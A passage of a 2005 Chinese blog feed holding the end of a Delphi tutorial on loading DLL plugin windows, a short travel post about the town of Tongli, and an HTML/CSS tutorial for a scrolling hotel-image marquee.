InitializeMyPlugins(APlugin,sAlias) then<BR>begin<BR>　showmessage(’初始化插件类错误。’);<BR>　exit;<BR>end;<BR><BR>//获得当前权限值<BR><BR>APlugin.UserID := sUserID;<BR>//载入DLL窗口<BR><BR>if not LoadShowPluginForm(APlugin) then<BR>begin<BR>　showmessage(’载入中心插件出错。’);<BR>　exit;<BR>　end;<BR>end;<BR><BR>//-----------------------------------------<BR>//Name: InitializeMyPlugins<BR>//Func: 初始化MYPLUGIN实例 (Caption | DllFileName | IsLoaded)<BR>//Para: APlugin-TMyPlugins<BR>//Rtrn: N/A<BR>//Auth: CST<BR>//Date: 2005-6-2<BR>//-----------------------------------------<BR><BR>function TFormHall.InitializeMyPlugins(APlugin:TMyPlugins; sAlias:String):Boolean;<BR>var<BR>　strSQL:string;<BR>　myDA:TMyDataAdapter;<BR>begin<BR>　Result:=False;<BR>　myDA:=TMyDataAdapter.Create;<BR>　strSQL:=’SELECT * FROM SystemModuleList WHERE modAlias=’+QuotedStr(sAlias);<BR>　try<BR>　　myDA.RetrieveData(strSQL);<BR>　except<BR>　　on E:Exception do<BR>　　begin<BR>　　　result:=false;<BR>　　　myDA.Free ;<BR>　　　exit;<BR>　　end;<BR>　end;<BR>try<BR>　begin<BR>　　with myDA.MyDataSet do<BR>　begin<BR>　　if Not IsEmpty then<BR>　begin<BR>　　APlugin.Caption:= FieldByName(’modName’).Value;<BR>　　APlugin.DllFileName := FieldByName(’modFile’).Value;<BR>　　APlugin.WndClass := FieldByName(’modWndClass’).Value ;<BR>　　result:=True;<BR>　end;<BR>Close;<BR>　end; //end of with...do...<BR>　end; //end of try<BR>　except<BR>　　on E:Exception do<BR>begin<BR>　Result:=False;<BR>　myDA.Free ;<BR>　Exit;<BR>　end; //end of exception<BR>end; //end of try...except<BR><BR>　myDA.Free ; <BR>end;<BR><BR><BR><BR>//-----------------------------------------<BR><BR>//Name: LoadShowPluginForm<BR><BR>//Func: 载入DLL插件并显示窗口<BR><BR>//Para: APlugin-TMyPlugins<BR><BR>//Rtrn: true-创建成功<BR><BR>//Auth: CST<BR><BR>//Date: 2005-6-2<BR><BR>//-----------------------------------------<BR><BR>function TFormHall.LoadShowPluginForm (const APlugin:TMyPlugins):boolean;<BR><BR>var<BR>　ShowDLLForm: TShowDLLForm; //DLL接口函数实例<BR>　FreeDLLForm: TFreeDLLForm;<BR>　sPath:string; //DLL文件的完整路径<BR>begin<BR>　try<BR>　begin<BR>　　sPath:=ExtractFilepath(Application.ExeName)+ ’plugins\’ + APlugin.DllFileName ;<BR>　　APlugin.ProcAddr := LoadLibrary(PChar(sPath));<BR>　　APlugin.FuncFreeAddr := GetProcAddress(APlugin.ProcAddr,’FreeDLLForm’);<BR>　　APlugin.FuncAddr := GetProcAddress(APlugin.ProcAddr ,’ShowDLLForm’);<BR>　　@ShowDLLForm:=APlugin.FuncAddr ;<BR>　　@FreeDLLForm:=APlugin.FuncFreeAddr;<BR>　　if ShowDllForm(Self.Handle, APlugin.Caption , APlugin.UserID) then<BR>　　　Result:=True<BR>　　else<BR>　　　Result:=False;<BR>　　end;<BR>　　except<BR>　　　on E:Exception do<BR>　　begin<BR>　　　Result:=False;<BR>　　　ShowMessage(’载入插件模块错误，请检查PLUGINS目录里的文件是否完整。’);<BR>　　end;<BR>　end;<BR>end; <BR><BR>……</TD></TR></TBODY></TABLE><BR>　　4) DLL窗口控制<BR><BR>　　正如3)中的代码说明的那样，DLL窗口的打开和关闭只是在表象层，关闭窗口并没有真正释放DLL窗口，只是调用API函数FindWindow根据窗口标识（就是Form.name）获得窗体句柄，用SHOWWINDOW函数的nCmdShow参数控制窗口显示/隐藏。<BR><BR>　　其实这是我这个程序实现的不好的一个地方，如果在DLL窗口中使用Self.close方法会引起内存错误，实在能力有限没有办法解决，因此出此下策。所以每个DLL程序主窗口的关闭按钮都必须隐藏掉。 :-P<BR><BR>　　5) DLL库的释放<BR><BR>　　在程序退出时，必须根据插件信息实例逐一释放DLL库。释放DLL库的函数如下：<BR><BR>
<TABLE class=txcode cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD>procedure TFormHall.ClosePlugin(aPLG:TMyPlugins);<BR>var<BR>　FreeDLLForm:TFreeDLLForm;<BR>begin<BR>　if aPLG.ProcAddr = 0 then exit;<BR>　if aPLG.FuncFreeAddr = nil then exit;<BR>　@FreeDLLForm:=aPLG.FuncFreeAddr;<BR>　if not FreeDLLForm(Application.Handle,’’,’’) then<BR>　　showMessage(’err’);<BR>end;</TD></TR></TBODY></TABLE><BR>　　<B>小结</B><BR><BR>　　本实例程序运行效果如下：<BR>[img]http://image.21tx.com/image/20050711/15988.jpg[/img]</P>
<P>　　我以上的方法中，因为有不少能力有限没有解决的问题，所以采用了一些看起来不太合理的掩饰方法，希望大家能在做了一点尝试后设计出更好的解决方法，我也希望能学到更多的好方法。</P>
<P>摘:http://dev.21tx.com/2005/07/11/12679_2.html</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=86" /> 
	  <id>http://www.openx.cn/default.asp?id=86</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[苏州水乡同里风景]]></title>
	  <author>
		 <name>Tina</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2005-10-20T12:50:59+08:00</updated>
	  <published>2005-10-20T12:50:59+08:00</published>
		  <summary type="html"><![CDATA[<P>一直都很想到江南水乡那样的城镇去游玩，现在终于如愿以偿喽!<BR>有机会一定还得要去玩玩，很适合在紧张的工作之余去放松一下心情！！<BR>
<P>坐在小溪旁喝着茶，吃着点心，哈哈……<BR>真是太幸福喽～～～</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=85" /> 
	  <id>http://www.openx.cn/default.asp?id=85</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[连续图片滚动无间隙的页面]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-19T08:53:39+08:00</updated>
	  <published>2005-10-19T08:53:39+08:00</published>
		  <summary type="html"><![CDATA[<BR>（1）一个不间断的滚动完整代码：<BR><BR>&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;&lt;/TITLE&gt;<BR>&lt;META&nbsp;http-equiv=Content-Type&nbsp;content="text/html;&nbsp;charset=gb2312"&gt;<BR><BR>&lt;STYLE&nbsp;type=text/css&gt;TD&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px<BR>}<BR>P&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px<BR>}<BR>SELECT&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px<BR>}<BR>INPUT&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px<BR>}<BR>.l15&nbsp;{<BR>&nbsp;LINE-HEIGHT:&nbsp;150%<BR>}<BR>A&nbsp;IMG&nbsp;{<BR>&nbsp;BORDER-RIGHT:&nbsp;0px;&nbsp;BORDER-TOP:&nbsp;0px;&nbsp;BORDER-LEFT:&nbsp;0px;&nbsp;BORDER-BOTTOM:&nbsp;0px<BR>}<BR>.img01&nbsp;{<BR>&nbsp;BORDER-RIGHT:&nbsp;#000&nbsp;1px&nbsp;solid;&nbsp;BORDER-TOP:&nbsp;#000&nbsp;1px&nbsp;solid;&nbsp;BORDER-LEFT:&nbsp;#000&nbsp;1px&nbsp;solid;&nbsp;BORDER-BOTTOM:&nbsp;#000&nbsp;1px&nbsp;solid<BR>}<BR>.img02&nbsp;{<BR>&nbsp;BORDER-RIGHT:&nbsp;#ffffff&nbsp;1px&nbsp;solid;&nbsp;BORDER-TOP:&nbsp;#ffffff&nbsp;1px&nbsp;solid;&nbsp;BORDER-LEFT:&nbsp;#ffffff&nbsp;1px&nbsp;solid;&nbsp;BORDER-BOTTOM:&nbsp;#ffffff&nbsp;1px&nbsp;solid<BR>}<BR>.f14&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;14px<BR>}<BR>.f14l12&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;14px;&nbsp;LINE-HEIGHT:&nbsp;120%<BR>}<BR>.f14l15&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;14px;&nbsp;LINE-HEIGHT:&nbsp;150%<BR>}<BR>.f14l17&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;14px;&nbsp;LINE-HEIGHT:&nbsp;170%<BR>}<BR>A:hover&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000<BR>}<BR>A.title1&nbsp;{<BR>&nbsp;FONT-WEIGHT:&nbsp;bold;&nbsp;FONT-SIZE:&nbsp;17px;&nbsp;COLOR:&nbsp;#000000;&nbsp;FONT-FAMILY:&nbsp;arial;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.title1:hover&nbsp;{<BR>&nbsp;FONT-WEIGHT:&nbsp;bold;&nbsp;FONT-SIZE:&nbsp;17px;&nbsp;COLOR:&nbsp;#000000;&nbsp;FONT-FAMILY:&nbsp;arial;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.title2:link&nbsp;{<BR>&nbsp;COLOR:&nbsp;#000000;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.title2:visited&nbsp;{<BR>&nbsp;COLOR:&nbsp;#000000;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.title2:active&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.title2:hover&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.sinatail:link&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#0000ff;&nbsp;TEXT-DECORATION:&nbsp;underline<BR>}<BR>A.sinatail:visited&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#0000ff;&nbsp;TEXT-DECORATION:&nbsp;underline<BR>}<BR>A.sinatail:active&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#ff0000;&nbsp;TEXT-DECORATION:&nbsp;underline<BR>}<BR>A.sinatail:hover&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#ff0000;&nbsp;TEXT-DECORATION:&nbsp;underline<BR>}<BR>.c01&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;11px;&nbsp;COLOR:&nbsp;#6a82cc<BR>}<BR>A.wa01:link&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ffffff;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.wa01:visited&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ffffff;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.wa01:active&nbsp;{<BR>&nbsp;COLOR:&nbsp;#71fdfd;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.wa01:hover&nbsp;{<BR>&nbsp;COLOR:&nbsp;#71fdfd;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.a01:link&nbsp;{<BR>&nbsp;COLOR:&nbsp;#0043fe;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.a01:visited&nbsp;{<BR>&nbsp;COLOR:&nbsp;#800080;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.a01:active&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000;&nbsp;TEXT-DECORATION:&nbsp;underline<BR>}<BR>A.a01:hover&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000;&nbsp;TEXT-DECORATION:&nbsp;underline<BR>}<BR>A.a02:link&nbsp;{<BR>&nbsp;COLOR:&nbsp;#000000;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.a02:visited&nbsp;{<BR>&nbsp;COLOR:&nbsp;#800080;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.a02:active&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000;&nbsp;TEXT-DECORATION:&nbsp;underline<BR>}<BR>A.a02:hover&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000;&nbsp;TEXT-DECORATION:&nbsp;underline<BR>}<BR>A.a03:link&nbsp;{<BR>&nbsp;COLOR:&nbsp;#0043fe<BR>}<BR>A.a03:visited&nbsp;{<BR>&nbsp;COLOR:&nbsp;#800080<BR>}<BR>A.a03:active&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000<BR>}<BR>A.a03:hover&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000<BR>}<BR>A.a04:link&nbsp;{<BR>&nbsp;COLOR:&nbsp;#0106aa<BR>}<BR>A.a04:visited&nbsp;{<BR>&nbsp;COLOR:&nbsp;#800080<BR>}<BR>A.a04:active&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000<BR>}<BR>A.a04:hover&nbsp;{<BR>&nbsp;COLOR:&nbsp;#ff0000<BR>}<BR>A.ent1:link&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#034b78;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.ent1:visited&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#034b78;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.ent1:active&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#034b78;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.ent1:hover&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#034b78;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.ent2:link&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#034b78;&nbsp;FONT-FAMILY:&nbsp;arial;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.ent2:visited&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#034b78;&nbsp;FONT-FAMILY:&nbsp;arial;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.ent2:active&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#034b78;&nbsp;FONT-FAMILY:&nbsp;arial;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>A.ent2:hover&nbsp;{<BR>&nbsp;FONT-SIZE:&nbsp;12px;&nbsp;COLOR:&nbsp;#034b78;&nbsp;FONT-FAMILY:&nbsp;arial;&nbsp;TEXT-DECORATION:&nbsp;none<BR>}<BR>&lt;/STYLE&gt;<BR><BR>&lt;META&nbsp;content="MSHTML&nbsp;6.00.3790.0"&nbsp;name=GENERATOR&gt;&lt;/HEAD&gt;<BR>&lt;BODY&nbsp;bgColor=#ffffff&nbsp;leftMargin=0&nbsp;topMargin=0&nbsp;marginwidth="0"&nbsp;marginheight="0"&gt;<BR>&lt;!--滚动图片资料&nbsp;begin--&gt;<BR>&lt;TABLE&nbsp;width=800&nbsp;border=0&nbsp;cellPadding=0&nbsp;cellSpacing=0&nbsp;bgcolor="#003399"&gt;<BR>&nbsp;&nbsp;&lt;TBODY&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;TR&gt;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;align=middle&gt;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TABLE&nbsp;cellSpacing=0&nbsp;cellPadding=0&nbsp;width=800&nbsp;border=0&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TBODY&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TR&gt;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&gt;&nbsp;&lt;DIV&nbsp;id=demo&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;style="OVERFLOW:&nbsp;hidden;&nbsp;WIDTH:&nbsp;600px;&nbsp;COLOR:&nbsp;#c04020;&nbsp;HEIGHT:&nbsp;165px"&gt;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TABLE&nbsp;height="94"&nbsp;border=0&nbsp;align=left&nbsp;cellPadding=0&nbsp;cellspace="0"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TBODY&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TR&gt;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;height="92"&nbsp;id=demo1&gt;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TABLE&nbsp;width="800"&nbsp;height="90"&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border=0&nbsp;cellPadding=2&nbsp;cellSpacing=0&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TBODY&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TR&gt;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width=0&nbsp;rowspan="2"&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width="100"&nbsp;height="74"&nbsp;align="center"&gt;&lt;A&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="/hotel/hotel.asp?h_name=%C8%AB%D7%DC%B9%F3%B1%F6%C2%A5"&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target=_top&gt;&lt;IMG&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;src="<a href="http://www.2008trip.com/ad/hotel/move/images/qzgbl.jpg" target=_blank>http://www.2008trip.com/ad/hotel/move/images/qzgbl.jpg</A>"&nbsp;alt="青岛汇泉王朝大酒店"&nbsp;width="98"&nbsp;height=74&nbsp;border="0"&nbsp;class=img02&gt;&lt;/A&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width="100"&nbsp;align="center"&gt;&lt;A&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="http://www.openx.cn//hotel/hotel.asp?h_name=%C7%E0%B5%BA%B9%F3%B6%BC%B4%F3%B7%B9%B5%EA"&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target=_top&gt;&lt;IMG&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;src="<a href="http://www.2008trip.com/ad/hotel/move/images/qdgdd.jpg" target=_blank>http://www.2008trip.com/ad/hotel/move/images/qdgdd.jpg</A>"&nbsp;alt="青岛汇泉王朝大酒店"&nbsp;width="98"&nbsp;height=74&nbsp;border="0"&nbsp;class=img02&gt;&lt;/A&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width="100"&nbsp;align="center"&gt;&lt;A&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="http://www.openx.cn//hotel/hotel.asp?h_name=%C7%E0%B5%BA%D6%D0%B8%DB%B4%F3%CF%C3"&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target=_top&gt;&lt;IMG&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;src="<a href="http://www.2008trip.com/ad/hotel/move/images/zgds.jpg" target=_blank>http://www.2008trip.com/ad/hotel/move/images/zgds.jpg</A>"&nbsp;alt="青岛东晖国际大酒店(原华美达酒店)"&nbsp;width="98"&nbsp;height=74&nbsp;border="0"&nbsp;class=img02&gt;&lt;/A&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width="100"&nbsp;align="center"&gt;&lt;a&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="http://www.openx.cn//hotel/hotel.asp?h_name=%C7%E0%B5%BA%BB%AA%C4%DC%B1%F6%B9%DD"&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target=_top&gt;&lt;img&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;src="<a href="http://www.2008trip.com/ad/hotel/move/images/hnbg.jpg" target=_blank>http://www.2008trip.com/ad/hotel/move/images/hnbg.jpg</A>"&nbsp;alt="青岛丽晶大酒店"&nbsp;width="100"&nbsp;height=74&nbsp;border="0"&nbsp;class=img02&gt;&lt;/a&gt;&lt;/TD&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;TD&nbsp;width="100"&nbsp;align="center"&gt;&lt;A&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;href="http://www.openx.cn//hotel/hotel.asp?h_name=%C7%E0%B5%BA%CF%E3%E9%BF%C0%F6%C9%